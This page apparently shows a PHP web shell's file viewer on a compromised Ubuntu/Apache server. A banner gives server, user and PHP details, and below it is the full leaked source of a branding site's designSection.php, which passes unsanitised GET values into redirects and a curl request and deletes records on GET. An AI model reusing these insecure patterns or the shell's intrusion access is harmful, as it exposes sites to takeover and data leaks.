( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/..//tmpr/../pages/designSection.php
<?php  
/*ini_set('display_errors', 1); error_reporting(E_ALL & ~E_NOTICE);*/

 

 
if (!empty($_GET['chooseTheme']))
 {
$msg_id = $db->base64url_decode($_GET['chooseTheme']); 

$db->def($msg_id);
/*file_get_contents("brandX.php?theme_id=$msg_id&pic=$pichaX&mag=yes&x=0&y=0&gratitude=posted&context=How%20Are%20You%20Feeling%20Today&filter=mood&cl=machine&overlay=0&saveThemePoster=1&nani=$catalogidX&default=yes&msg_id=$msg_id");	 */
		 $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "brandX.php?theme_id=$msg_id&pic=$pichaX&mag=yes&x=0&y=0&gratitude=posted&context=How%20Are%20You%20Feeling%20Today&filter=mood&cl=machine&overlay=0&saveThemePoster=1&nani=$catalogidX&default=yes&msg_id=$msg_id");

curl_exec($ch);
	 
	

 header("Location: ./indexAlone.php?mode=startags");
}
 

  $favstartag = $db->getfavstartag();
 if (empty($favstartag[0]["def"]))
 { 
$makefavstartag = $db->makefavstartag();	 
	$makeit = $makefavstartag[0]["id"] ;
	
	
	if (empty($makeit))
 {
	/* header("Location: ./indexAlone.php?mode=wysiwyg&page=layers&view=theme&msg2=Kindly add theme");*/
	  header("Location: ./indexAlone.php?mode=themes&msg2=Select a theme or create one to get started");
	 }
	else
	{$db->def($makeit);  
	 header("Location: ./indexAlone.php?mode=startags&page=0&alert=success&msg_id1=$msg_id2&msg2=Brand+selected+successfully");}
	
	
	 
	 }
 
$resultPost = $db->getPost();
    $postPicture = $resultPost[0]["picture"];



$where = $_GET['where'];
if ($where=="opengallery") {
 
$pic2 = $_GET['pic2'];
 $msg_id1 = $_GET['msg_id1'];

$pic2 = $db->base64url_decode($pic2); 
$msg_id1 = $db->base64url_decode($msg_id1); 

 $db->replaceBrand($pic2,$msg_id1);
 header("Location: indexAlone.php?mode=startags&msg=Picture+added+Successfully!");
}
if ($where=="save") {
 

 $msg_id1 = $_GET['msg_id1'];
 $msg_id1 = $db->base64url_decode($msg_id1); 

 
 $db->updateBrand($user_nameX,$msg_id1);
 header("Location: indexAlone.php?mode=startags&msg=Background+created+Successfully!");
}
if ($_POST['goStar']) {

$_POST = filter($_POST);
$mytitle = mysqli_real_escape_string($link,$mytitle);
$msg_id = mysqli_real_escape_string($link,$msg_id);
 $mytitle = preg_replace( '/[«»""!?,.!@£$%^&*{};:()]+/', '', $mytitle);
$db->editstar2($mytitle,$msg_id);
 
header("Location: indexAlone.php?mode=startags&msg=Congratulations+Startag+created+Successfully!");
   
}




   if($step==7)  
		
		 {
 
 header("Location: index.php?mag=mag&mode=share&msg_id=$msg_id&step=2");
		  } 
  
$widget = $catalogid5;  
 

 
$VideoPath = "uploads/live/";
$live_img = 'uploads/images/';
 $videouser = $_SESSION['euserid'];
 
		 
 function sizeinput($input, $len){
        (int)$len;
  	 (string)$input;
  	 $n = substr($input, 0,$len);
	 $ret = trim($n);
 	 $out = htmlentities($ret, ENT_QUOTES);
 	 return $out;
}

 
 function checkfile($input){
    $ext = array('mpg', 'wma', 'mov', 'flv', 'mp4', 'm4v', 'avi', 'qt', 'wmv', 'rm', '3gp', 'mpeg', 'divx', 'moov', 'asf', 'swf', 'vob');
    $extfile = substr($input['name'],-4); 
    $extfile = explode('.',$extfile);
    $good = array();
    $extfile = $extfile[1];
    if(in_array($extfile, $ext)){
          $good['safe'] = true;
 		 $good['ext'] = $extfile;
    }else{
          $good['safe'] = false;
   }
     return $good;
 }
 


//no error reporting
//@error_reporting(0);

if (empty($page)){
$page = 0;
}

$record =14;

 if ($favstartag[0]["type"] == 1 ){ $record =3; }


  // generate paging here
	
if ($delgif=="yes") {
  
$db->delgif();

 header("Location: ./indexAlone.php?mode=gif&alert=warning&msg=Successfully+deleted");
}

$delnews = $_GET["delnews"]; 
if ($delnews=="yes") {
 $msg_id = $db->base64url_decode($msg_id); 
$db->delstar($msg_id);

 header("Location: ./indexAlone.php?mode=startags&alert=warning&msg=Successfully+deleted");
}


$default = $_GET["default"]; 

$pager = $_GET["pager"]; 

if ($default=="yes") {$msg_id2 =  $msg_id ;
  $msg_id = $db->base64url_decode($msg_id); 

$db->def($msg_id);

 header("Location: ./indexAlone.php?mode=startags&page=$pager&alert=success&msg_id1=$msg_id2&msg2=Brand+selected+successfully");
}
$removePostPicture = $_GET["removePostPicture"];
if ($removePostPicture=="yes") {$msg_id2 =  $msg_id ;
  $msg_id = $db->base64url_decode($msg_id); 
/*exit($msg_id);*/
$db->removePostPicture();

 header("Location: ./indexAlone.php?mode=startags&page=$pager&alert=primary&msg_id1=$msg_id2&msg2=Brand+saved+successfully");
}


$shared = $_GET["shared"]; 
if ($shared=="yes") {$msg_id2 =  $msg_id ;$nani = $_GET["nani"]; 
  /*$msg_id = $db->base64url_decode($msg_id); */
 /* $db->clearDef();*/
 header("Location: ./indexAlone.php?mode=startags&page=$pager&alert=prmary&msg_id1=$msg_id1&msg2=Brand+saved+successfully&shared=true&nani=$nani&share=true");
 
}

 ?>

 
   <a name="begin"></a>        
          
     
<?php echo $msg_id_0 = $db->Profile_Pic_ID(); 
      $msg_id_0 = $db->base64url_encode($msg_id_0);
 ?>
  <?php  include("../newdatasets/sidebarshare.php");  ?>
 


    <style>
    .highlight {
  display: none; /* hidden by default, until >480px */
  padding: 9px 14px;
  margin-bottom: 14px;
  background-color: #f7f7f9;
  border: 1px solid #e1e1e8;
  border-radius: 4px;
}
.highlight pre {
  padding: 0;
  margin-top: 0;
  margin-bottom: 0;
  background-color: transparent;
  border: 0;
  white-space: nowrap;
}
.highlight pre code {
  font-size: inherit;
  color: #333; /* Effectively the base text color */
}
.highlight pre .lineno {
  display: inline-block;
  width: 22px;
  padding-right: 5px;
  margin-right: 10px;
  text-align: right;
  color: #bebec5;
}

/* Show code snippets when we have the space */
@media screen and (min-width: 481px) {
  .highlight {
    display: block;
  }
}
</style>
 
 
 
  <div class="container">

<section id="typography">

  
	 
  <!-- Headings & Paragraph Copy -->
  <div class="row">
	
	  
	 
	  
	  
   <script type="text/javascript" src="<?php echo $siteaddress;?>js/mystartags2.js"></script>
             <div id="containerReportaS" >
                  <div id="loadingReportaM"></div>
             
                  <div class="dataReportaM" ></div>
                  <div class="paginationReportaM" ></div>
                </div>

	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	<table border="0" width="100%"  cellpadding="0" cellspacing="0" style=" margin-top: 120px;margin-bottom: 80px">
    <tr>
		<td width="100%" > 
			
			
			
	  <tr>
		<td width="100%" > 		
			 
		 <select class="pull-right chooseTeam choose form-control input-m" id="hashtag" >
      <option>+ Share this  design with... </option>
      
 
			 
			 
			 
			 <?php
		 
		 
              if (!empty($resultB)) {
	        while ( list($key,$val)=each($resultB) ) {
	        $teamid = stripslashes($val["teamid"]);
	        $teamtype = stripslashes($val["teamtype"]);
				$teamtype = stripslashes($val["teamtype"]);
				$catalogid = stripslashes($val["catalogid"]);
			 	$teamname = stripslashes($val["teamname"]);
	    
	     
              ?>
<option rel="<?php echo $catalogidX;?>" id="<?php echo $teamid;?>" title="<?php echo $teamid;?>"> <?php echo $teamname;?></option>
   <?php
              }
              }
              ?>
/*<option  rel="0" id="0">"Clear All"</option> */
    </select>     
		
		  </td></tr>
			
			
			
			
		
	  <tr>
		<td width="100%" > 		
					

 <?php if($myLevel == "Premium" || $myLevel == "Administrator"){?>  <?php }  ?><?php include("shareDesign.php"); ?> 
			
			
			
		<?php /*?>	
	   <script type="text/javascript" src="<?php echo $siteaddress;?>js/addimage3.js"></script>
             <div id="containerReportaF" style="display: none" >
                  <div id="loadingReportaM"></div>
             
                  <div class="dataReportaM" ></div>
                  <div class="paginationReportaM" ></div>
                </div>
       <?php */?>
	  
	 
	   </td></tr></table>
	   
 
                           
   
			<?php /*?>	<?php */?> 
				<script type="text/javascript" src="<?php echo $siteaddress;?>js/shared.js"></script>
             <div id="containerReportaB" >
                  <div id="loadingReportaM"></div>
             
                  <div class="dataReportaM" ></div>
                  <div class="paginationReportaM" ></div>
                </div>  
	  
	  
 
</section>


 
<?php /*?><section class="panel animated bounce m-r-xs m-l-xs" style=" color:#333;overflow:hidden;margin-top:5px; padding:3px;" id="searchbox1">  <form action="" >
 
     <div class="input-group" style="width:100%; margin:0px; padding:0px"> 
      <input placeholder="search #themes" id="searcharea1" class="form-control   no-border" value="" type="text">    </div>
 
 

 
  </form>       
 
</section> 
<?php */?>
  
 

 </div><!-- /container -->
 
<script src="<?php echo $siteaddress;?>js/elements/bootstrap.min.js"></script>
 
 

<script>	

 
	$(document).ready(function()
	{
	if(location.href.indexOf("#images")>0)
	{
		 $('.nav-tabs').tab('images');
	}

		$('a[rel=tooltip]').tooltip({'placement': 'bottom'});
	});
	
 
		  
 
</script>